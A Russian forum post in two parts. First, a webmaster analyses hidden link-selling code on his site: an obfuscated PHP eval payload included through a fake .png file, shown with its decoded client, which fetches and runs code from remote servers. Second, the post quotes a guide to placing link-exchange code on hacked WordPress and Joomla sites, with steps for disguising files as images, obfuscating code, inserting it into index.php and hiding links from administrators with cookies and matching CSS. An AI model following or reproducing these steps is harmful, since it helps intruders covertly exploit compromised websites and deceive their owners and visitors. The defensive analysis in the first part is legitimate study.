Проверяемся на шел что размещает ссылки с линкобирж, так как один из моих сайтов пострадал от этой поебени, спалил случайно так как появилось два лишних пробела в дизайне. Выводились они такими строчками:
<style type="text/css">
.ssil2{color: #4B7C44 !important;text-decoration: none;} .ssil2 a {color: #4B7C44 !important; text-decoration: none;} .ssil2 a:visited{color: #4B7C44 !important;text-decoration: none;}.ssil2 a:link{color: #4B7C44 !important;text-decoration: none;}
.ssil2 a:hover{color: #4B7C44 !important;text-decoration: none;}
<div class="ssil"></div><div class="ssil2"></div>
Начал пробивать от куда такое добро лезит. Легкий пролет по изменениям дат, показал что Index.php укол сделали. Заходим смотрим, находим инклуд на картинку с раздела
/engine/skins/footer.png
.
Открываем картинку редактором, получаем:
eval(gzinflate(base64_decode("zVl7TxtJEv/bkfIdGuRNj3PGBpJls4ABxzEbtDwix5zuRKK5YdzGI8Yzc/OAoCzf/aqqXzMeG3KRTrpol7G7q6rr+avq8eHB/mEyS16+e
PnCD70sY2engzAQUf7yxfeXLxp3Xsqa0yAUrh9PBOsxfnbq/oKfO8DF95BPEuWpF2XzIBcpUEVFGO7pHaR284eE2EPkacB/0yLy8yCOzIFOMwYCL029B6fVYt8lWbfL6GTkh6
+NYMocFmSZQPorPrj4MHTH//w05F9b7NUrluVpKKL6Vq/HtpgU2mg081mQbRyU9QK+PA7je5HWeFHfxiMTYSZW86NdDHQNg+g2Iwb8g/9L89GFQDYJ0sibC8d1j09Oh67b
Yh3Guxz+ggJuKpLQ84XDf+FttniIWTHRkJo1i0yQUBCvKG5EfpmRJZLE+O0ITknizGm6n4ejvw9HV/zjePzJvYRvbv+P4fmYf20zPg+v47yDShnZLbYGHpx66APwsvK/+8dwf
AXk7jROfQHq+/GdSB/AZ9rTR0WEHnGsE6RGSzbQE50w9m+5IknSIMoZ31/b2NivnQEfsiLMD/K0EPvdldsbGwdcSktFXqQRQ/q9SnzIMeRT8S3I8qysK2shBZkCsQWVQT0
GDPgUE5L7BHvJIpN6P2I4qdZQh4Kji4TCLY+L/LAAxjjyBbMyajkKnJP4HhT2JkF0w0IvF1nOwDUZllw8ZVYiGmATZwDrkDj1/CvZ8JQSoEU1/S0uuBJgejXR6IGxIZMBC6YOk
Ru3Lspp2dg0sGQxic/7Z1CxqwtBV24Vq8Q9q0k3LGAIg3+PEo3KuHVdBOHEpYJ3UJfvSu36GWsSEFvfy5lYI9s4qEi0WaoYODlmiSI2ahY/2zXYNSr+AGD8NGY9i1aUbc7aqn
oDbFmxV6oSCvxff4EgDWdoUf8GeshPoVcq/l1AdSBs6RS3lcHWgsy9T4Pcuw6Fs8IXpdpQqHUZIT3LY4YlyM68gMqeyq7DPgQAVHmcPjDUMxVemHj5rC69g7LBliBjUZwzVE
Og3DUFajo1yDQDHv8NLoE7VmKfNon6fx5QwuBHHz8/BWANBROoAtG22AazUvbZ1qaVvojzRTIBsDogk3YV0jJAd3LVEmlwOICkH0eTjBqB4rfIv8xL1X5uUXl1KHSg8eHHq
VDnVO1ebosbRNOYOtUuhPG+bAhIa2sbvZx2nrNMSnvOPNtILBJPEwxgnOB8tCR4UDv3f1OmTCnVHGBpK1XVuh/GGa3byaICNCsms0O2sMR29SjYaEKV3gXQvH0vDK2IJ
eWJYurLKApZuYauKAckqIBbPwkcCYxcgSVnvYMKXNn+QTsaOmADid57mWThOPUCuFV1PqC5omV8YoYF7L0ybLjzfO+XvICpcZozOcNgPZNhMy+aECAvhhADp/ibwIMUK
nyShXCZnFINotxt7Sn58jj0GwqxiHnIOFrH0c+0wkuqQqr+KwPrH5h3AxiHw1ERZYXvy/GIIGBNiwbMNqf0tDA7lT9p4LUuMhSpVTdD1RR9aO09vRj86Q7/ocvSmva0Y1YIujz
X23XP1apsAQHIBjnDqZEUaxyuRYC4GGRH6daWGYT5QLVe5zMVr+cHuV6dCbqv4Q97zVRDl18+CJgu5kEkmM5qWu/i34U5Qk0BpXuYmhog1BBdH8rACGHoO2xNCWgi8i
WXMzuSLd7NyjuQCm+2TRZo6ypElYmdhmIv9WfUFW7FA2UvAHaM+IapA5+fQHJVplDCfpFSulngxPGNJKlZrXE/wyp1wDUIEw6Bcw9kT/AMRYrjBePXcRwKL+KaUyYqFTls
r3fW0QWl7wsLvDPLPSibLLMSGk3xDfSDTAlxvgMZ7WbpDiX11f4W3662wJuQmZBKwdwsYKWBqVBnRqy2vWcpN79aoSYGksqsP6oPj7Ue0yjnpeVampeAxfLzAKGz/+lkZT
IiajcBO71SEmKqpXCNYfKRmQYCn03Wkkp8DngkMRuLKevM1QzWSQtAcEmjxEmySZXOm2QdP55zpLTdrjq9qybkaBUAqbpeEnRUl0DlYQlalkQvOZxpZyhmVaRx5XvNH/
WTmhIa6ZCeHfvnIp/Fkx4dilM4dO+4QOz7FdzItB8Re8h31Gl67N2mbA0w2Xj+zJzCvIw1Z3GWG5B28ThsEvjc080JLlbzxKKGTBkjTPKgqNveQfNOJyLyXNFt7bbDe7xTIDz4
dJO5q1yFzaHBXFYCf0WmzRPdvMAOqHUUZS+iWBvKG1QE6BAqOSkNa47LC35DK0RCOrBxSJOYq2yspDl2EwoFnibFQymvd4gZPuEble5WZ/NL+iVa36tygOj1j+DNXaRHt
3bWV5EhEm/QnWaXbg+n+vbAdlbLHsRRJChfdhm1KiTUxER+FEQB9hWHQ/XF9y743KV2Cw7d0u9mDM1ETD3oMW6GE2ruqlwqpVWNA5uD66HaOE8axWE/l9rf7XAbNLj6
3tMdnHNjTZbEUSZKaxBHXQX6msKVQj4kWC7UjVBH8agpd/GtXpnM6R+7J+fDcZt9xq7+eTwa9s/wy6k7HnwyE4DiAWvcOMFDHSVPkiKvlOF+Pv8wPjkbXrRV2kuYxelReQ
c8UOi1zdbiCb4MlhVPGQEPLMlFYjW3GFIVdeNK2aicJlaJ5sE2ZVk2vx3DP+Uq7auSwyF/ml7l+qCucTZKDrPkqnxgOjTtySRb29K12XYLB0d9WVkW4FJtLYv1FC2gFKUpwqiDA
qrlSxecI0PvlB0KD5GmUSyfMIrUklg17GTBQ0fTpMCbMV6Fym5vlMaDtaOpiKfErLgNe9XDR1Poa0qYCogW9WjOW7hj/Z+Fw0fIwHpW4fARdo/MqvNMkCQlVBcUF4z4szYbXI
5OLz6NXXhAwczyPNnt0uslCh8+EVlNQazk/zjsfxiO1CD9LPVoOL4cnY9H/fPPxz/ONbg4Px8OxlT2l+N6Cj1hHQyz9Ir9eVisREVKFN+Ej/KqL1j+56mg7FEJaY6vZgirVyy+Ubq
REIe3q0ymCjaJm2WtR/0883Rxl31SO8B5Nm+UZBiJV7rLru2uKIaSEMkGKsPt58adezkMOryLiu1+4U7n9WHrC+9ipzQs6PtqpwKJanjH/Ro0m+jStsaJpg8r13AR23nrToQcl
ySlgRLU1Lfjvh5Z/UWo0RuSvf7qaKXdFSuqUoym1WuxfoeN9+LhaHQx2mX2FSk0SUbvwRGoO+qiq96608hce7/P3x5v7/R/ffP+t/7x2/fvjn8fvnv/+87brc3+zpvt7a03v8lfJ
ps+/bLohlBr8kV/6cfGlppeEfbX9EunwcXFnyfDK+66RT5PXR/mV8EpNGCt8Gcx358Ed4x+I+itZ1kQrpO2uMVKx9Vf5kvmLnATA9iFbyBXy93+ecGHB/8B")));
Нашел декодировку:
<?php
class MLClient
{
var $file_code = 'ML_%code.php';
var $transmiter = null;
var $code_type = 'l';
function MLClient($o = array()) {
// code type
if ( isset($o['CODE_TYPE']) && strlen($o['CODE_TYPE']) == 1 ) {
$this->code_type = strtolower($o['CODE_TYPE']);
} else {
$this->code_type = 'l'; // links
}
$code_file = dirname(__FILE__) . '/' . str_replace('%', $this->code_type, $this->file_code);
$username = $this->getUser($o);
if ( @strpos($_SERVER['HTTP_USER_AGENT'], 'mlbot.' . $username) !== false && isset($_GET['ml_force_recovery'])) {
@unlink($code_file);
@unlink($code_file . '.lock');
print '<!--<ml_force_recovery_result>true</ml_force_recovery_result>-->';
return true;
}
if ( file_exists($code_file) )
{
// unlock if locked
if ( file_exists($code_file . '.lock') ) {
@unlink($code_file . '.lock');
}
// setup_code
include_once $code_file;
} else {
// downloading latest version of code
if ( $this->getCode($o, $this->code_type) ) {
include_once $code_file;
}
}
$transmiter_class = $this->code_type . 'Transmiter';
if(class_exists($transmiter_class))
{
$o['USERNAME'] = $this->getUser($o);
$this->transmiter = new $transmiter_class($o);
}
}
function build_links()
{
if($this->transmiter != null){
return $this->transmiter->build_links();
}
return '';
}
function getCode($o = array(), $code_type = 'l')
{
$username = $this->getUser($o);
$code_file = dirname(__FILE__) . '/' . str_replace('%', $code_type, $this->file_code);
if ( (!file_exists($code_file) && !file_exists($code_file . '.lock'))
|| ( strpos($userAgent, 'mlbot.' . $username) !== false && isset($_GET['ml_request']))) {
if ( !is_writable(dirname(__FILE__) . '/') ) {
print 'Unable to load Mainlink code. Directory ' . realpath(dirname(__FILE__).'/').' is not writeable!';
return false;
}
if ( file_exists($code_file . '.lock') && file_exists($code_file) ) {
$filetime = filectime($code_file . '.lock');
if ( time() - $filetime < 10 ) {
print '<!--<ml_update>false: locked for ' . time() - $filetime . ' seconds</ml_update>-->';
return false;
} else {
@unlink(realpath(dirname(__FILE__) . '/') . '/core_update.lock');
print '<!--<ml_update_info>true: now ' . time() . ', locked at ' . $filetime . ' seconds</ml_update_info>-->';
return false;
}
}
}
$fp = fopen($code_file . '.lock', 'w+');
fwrite($fp, time());
fclose($fp);
$code_type = isset($o['CODE_TYPE']) ? $o['CODE_TYPE'] : 'l';
$service_call = isset($_GET['ml_request']) ? $_GET['ml_request'] : 'call';
$content = $this->getApi(array('getCode' => $code_type, 'USERNAME' => $username, 'codeBase' => 'php', $service_call => true));
// unlocking update
@unlink($code_file . '.lock');
// report result
$handle = fopen($code_file, 'w');
$res = fwrite($handle, $content);
fclose($handle);
$result = $res !== false ? 'true' : 'false';
// let`s try again if unsucced
if ( !$result || $result == 'false' ) {
$handle = fopen($code_file, 'wb');
if ($handle) {
@flock($handle, LOCK_EX);
$result = fwrite($handle, $content);
@flock($handle, LOCK_UN);
fclose($handle);
}
}
print '<!--<ml_code_setup_result>' . var_export($result, true) . '</ml_code_setup_result>-->';
return $result;
}
/*
* getUser
* Determine username
*/
function getUser($o = array())
{
// in case username cont is preset
if ( isset($o['USERNAME']) && strlen($o['USERNAME']) == 32 ) {
return $o['USERNAME'];
}
// search for key
$dirop = opendir(realpath(dirname(__FILE__)));
$secure = false;
if($dirop){
while (gettype($file=readdir($dirop)) != 'boolean'){
if ($file != "." && $file != ".." && $file != '.htaccess'){
$ex = explode(".",$file);
if( isset($ex[1]) and trim($ex[1]) == 'sec' ){
$secure= trim($ex[0]);
return $secure;
}
}
}
}
return $secure;
}
/*
* getApi
* Call API
*/
function getApi($data)
{
// reserver servers
$servers = array(
'main' => 'codes.mainlink.ru',
'reserve' => 'dcodes.mainlinkads.com'
);
return $this->request($servers, '/api.php', $data, 'GET');
}
/*
* request
* Do request
*/
function request($servers, $file, $data=array(), $method='GET', $timeout = 5)
{
// port
$port = 80;
foreach($servers as $host) {
$_data = $data;
$tmp = array();
foreach($_data as $k=>$v){
$tmp[] = $k.'='.urlencode($v);
}
$_data = implode('&', $tmp);
$path = $file;
if( $method == 'GET' && $_data != '' )
{
$path .= '?' . $_data;
}
$request = $method." ".$path." HTTP/1.0\r\n";
$request .= "Host: ".$host."\r\n";
$request .= "User-Agent: MainLink code 6.0\r\n";
$request .= "Connection: close\r\n\r\n";
@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $timeout);
@ini_set('user_agent', 'MainLink init code v6');
$answer = '';
$response = '';
if(function_exists('socket_create'))
{
@$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
@socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => $timeout, 'usec' => 0));
@socket_connect($socket, $host, $port);
@socket_write($socket, $request);
while($a = @socket_read($socket, 0xFFFF))
{
$response .= $a;
}
$answer = ( $response != '' ) ? explode("\r\n\r\n", $response, 2) : '';
$response = '';
}
if(function_exists('fsockopen') && $answer == '')
{
$fp = @fsockopen($host, $port, $errno, $errstr, $timeout);
if ($fp)
{
@fputs($fp, $request);
while (!@feof($fp))
{
$response .= @fgets($fp, 0xFFFF);
}
@fclose($fp);
}
$answer = ( $response != '' ) ? explode("\r\n\r\n", $response, 2) : '';
$response = '';
}
if(function_exists('curl_init') && $ch = @curl_init() && $answer == '')
{
@curl_setopt($ch, CURLOPT_URL, 'http://' . $host . $path);
@curl_setopt($ch, CURLOPT_HEADER, true);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
@curl_setopt($ch, CURLOPT_USERAGENT, 'MainLink init code v6');
$response = @curl_exec($ch);
$answer = ( $response != '' ) ? explode("\r\n\r\n", $response, 2) : '';
$response = '';
@curl_close($ch);
}
if( function_exists('file_get_contents') && ini_get('allow_url_fopen') == 1 && $answer == '')
{
$response = @file_get_contents('http://' . $host . $path);
$answer[1] = ( $response != '' ) ? $response : '';
}
if($answer[1] != '' && preg_match('/file:\'(.*?)\'/', $answer[1], $r))
{
if(isset($r[1]))
{
$answer = $r[1];
$c = base64_decode($answer);
if($c){
return $c;
}
return $answer;
}
}
if($answer[1] != '')
{
return $answer[1];
}
}
return '<!--ERROR: Unable to use transport.-->';
}
}
$o['USERNAME'] = '4F26A53B7AF4B8F9E8B96410A6322137';
$client_lnk = new MLClient($o);
if (!isset($_COOKIE['__utmr_cache']))
{
echo'<div class="ssil">';
echo $client_lnk->build_links();
echo'</div>';
}
else
{
echo'<div class="ssil2">';
echo $client_lnk->build_links();
echo'</div>';
}
?>
Как видим по последним строчкам - это мой случай. Удаляем к ебеням. Хацкер - типа позатирал "Антивирус Dle" даты файлов, но поиск по файлам отыскал занозу в жопе
Кому интересно вот адресок инструкции по установке и бару что парит всю эту поебень:
Случайно нашел этот пост и началось:
http://pastebin.com/P7nrcfCU
Избавляемся от ссылок
И так мы уже знаем, что покупатели ссылок в линкобиржах просто терпеть не могут чужие ссылки на странице, а это обычно баннеры, счетчики, копирайты СЕО компаний или просто "друзья сайта". Убирать мы их полностью не будем, а просто заменим внешние ссылки на внутренние. Для этого нам нужно создать php файл и положить в него следующий код:
И сохраняем это все в какую нибудь папку. Теперь в шаблоне заменяем все внешние ссылки этим скриптом. Пример:
Была ссылка http://google.ru/ делаем sait.ru/papka/script.php?go=http://google.ru/
Таким образом мы в разы уменьшаем количество внешних ссылок и сайт становится пригодным для монетизации, а пользователи как и раньше будут редиректится на нужные сайты по клику.
Регистрация и настройка
Нам нужны новые аккаунты во всех основных линкобиржах, мелкие не рассматриваем, так как прибыль с них не большая, а мороки с ними много. Регистрируемся по следующим ссылкам:
sape.ru
linkfeed.ru
trustlink.ru
У нас будет расчет не больше 1000 рублей в сутки или 20 стабильных сайтов на один аккаунт и желательно каждый аккаунт в одной системе создавать на новый кошелек. Для этого не обязательно регистрировать новый WMID, просто в кипере создаем новый рублевый кошелек и регаем на него новый аккаунт. То есть создали новый кошелек зарегистрировались на отдельный емейл во всех биржах, дошли до отметки, создали новый и так же зарегистрировались по всем.
IP может быть одинаковое для заходов на несколько аккаунтов, так что придумывать мега схемы с проксями не обязательно.
Коды бирж
И так у нас в папке linkobirzh лежит файл:
code.txt - наш главный код для всех трех бирж.
И на всякий, эти же скрипты по отдельности для каждой биржи sape.txt,linkfeed.txt,trustlink.txt
trust.jpg и trust-old.jpg - файлы необходимые для trustlink.ru, в них лежит дизайн блоков ссылок, если открывать через блокнот их нужно заливать в ту же папку где и наш скрипт.
UTF-8/code.txt - такой же код только с кодировкой UTF-8, нужен для тех у кого вместо ссылок будут иероглифы, просто замените этот код старым.
Что делает собственно скрипт code.txt.
Во-первых, раньше при добавлении сайта в биржи создавало свои файлы с палевными названиями типа sape.link.db и т.д., что сразу нас выдавало. Теперь же у нас создаются файлы запрятанные, как картинки. Пример - cache-img.jpg, pic-ok.jpg, thumpr.jpg при открытии их через текстовый документ будет собственно чистый код линкобирж, зато если вебмастер как обычно попытается открыть их как картинку ему выдадут ошибку что файл поврежден и дальше он вряд ли будет копаться в ней.
Во-вторых, наш код показывает всем уникальным посетителям текстовые ссылки должным образом, как будто обычный чистый сайт. Но при повторных посещениях пользователю записываются кукисы и показывают уже наш измененный div class= который будет скрывать все ссылки под фон, что бы не привлекать внимание администраторов и постоянных пользователей. Зато если будут заходить вебмастеры они увидят полноценную ссылку, что на 90% избавляет нас от стуков назойливых СЕОшников, даже если стукнут модератор зайдет на сайт и увидит чистые ссылки, так как кука ему еще не была записана.
В-третьих, наш пхп код можно будет положить в любую папку и вызвать обычным что не будет бросаться сильно в глаза администраторам сайта.
Продолжаем настройку:
Первым делом изменяем первые 3 строки в скрипте code.txt, а именно вместо ****************** ставим свой уникальный код который в каждой линкобирже разный и узнать его можно нажав "Добавить сайт".
Для тех кто любит переделывать все под себя может изменить название картинок которые создаются вместо link.db и названия div'ов, но это совсем не обязательно. Так же вы можете легко взять закодированный code.txt и переименовать его в img.jpg, img.gif или в любое другое расширение для отвода глаз. И так же само его заинклудить, как обычный php:
После замены и сохранения кода заходим на сайт http://atomiku.com/online-php-code-obfuscator/ и вставляем туда код для обфусификации. После этого получаем обфусифицированный код, который раскодировать администраторы со знанием PHP ниже среднего, просто не смогут, даже если начнут у них на это уйдет уйма времени и в противном случае они просто удалят код, если конечно вообще его найдут.
Как я уже говорил мы будем рассматривать добавление в основные CMS Joomla и Wordpress, а у них как правило очень много своих плагинов, переделанных модулей и т.д. Поэтому для правильной работы скрипты обязательно добавляйте код:
в самое начало файла index.php (который находится в корне взломанного сайта).
Данный код можно вставить и в общий скрипт code.txt, но далеко не на всех сайтах данных CMS он работает корректно.
Выбор места и манипуляции с CSS
Для примера выбора места на взломанном сайте, я покажу на своем залежавшемся сайте odessacity.ru он на Wordpress, как раз то что надо.
Заходим на сайт, жмем "исходный код" и сразу видим первые строчки: ="http://odessacity.ru/wp-content/themes/autumn-concept/scripts/resizeboxes.js" собственно название главного шаблона autumn-concept, отлично заходим в шелле в папку /wp-content/themes/autumn-concept/ видим основные файлы шаблона обычно там лежат интересующие нас файлы page.php, sidebar.php, footer.php, index.php куда можно удобно разместиться.
Выбираем место где однотонный фон и есть еще много свободного места, для тех кто очень слаб в html советую попробовать после каждого поставить 1,2,3,4,5 и т.д. потом обновить сайт и по цифрам выбирать в какие места ставить код.
На моем сайте таких мест много, но я все же выбрал низ что бы не заморачиваться.
Выбрали место? Отлично жмем Print Screen, заходим в Paint вставляем туда наш скрин, выбираем "пипетку" жмем по месту с нужным цветом, появляется раздел "Палитра", жмем "Больше", выбираем Hex код этого цвета и сохраняем его, он нам пригодиться в CSS. Для примера скрин:
Картинка открывается при клике
Действие выше я описал, как я обычно это делаю. Уверен есть другие способы с помощью которых можно сделать это все намного легче.
Для чего нам нужен Hex код фона ? Для того что бы скрывать ссылки под фон с помощью CSS, вернее делать текст ссылки такого же цвета как и фон, что бы не было видно.
Пользователям, которые уже получили cookies показываются ссылки с , поэтому нам нужно или выбрать уже существующие .css файлы и добавить в них код или создать свой .css файл с кодом и добавить его в шаблон сайта.
CSS код у нас получится следующим образом:
.ssil2
{
color: #4B7C44 !important;
text-decoration: none;
}
.ssil2 a
{
color: #4B7C44 !important;
text-decoration: none;
}
.ssil2 a:visited
{
color: #4B7C44 !important;
text-decoration: none;
}
.ssil2 a:link
{
color: #4B7C44 !important;
text-decoration: none;
}
.ssil2 a:hover
{
color: #4B7C44 !important;
text-decoration: none;
}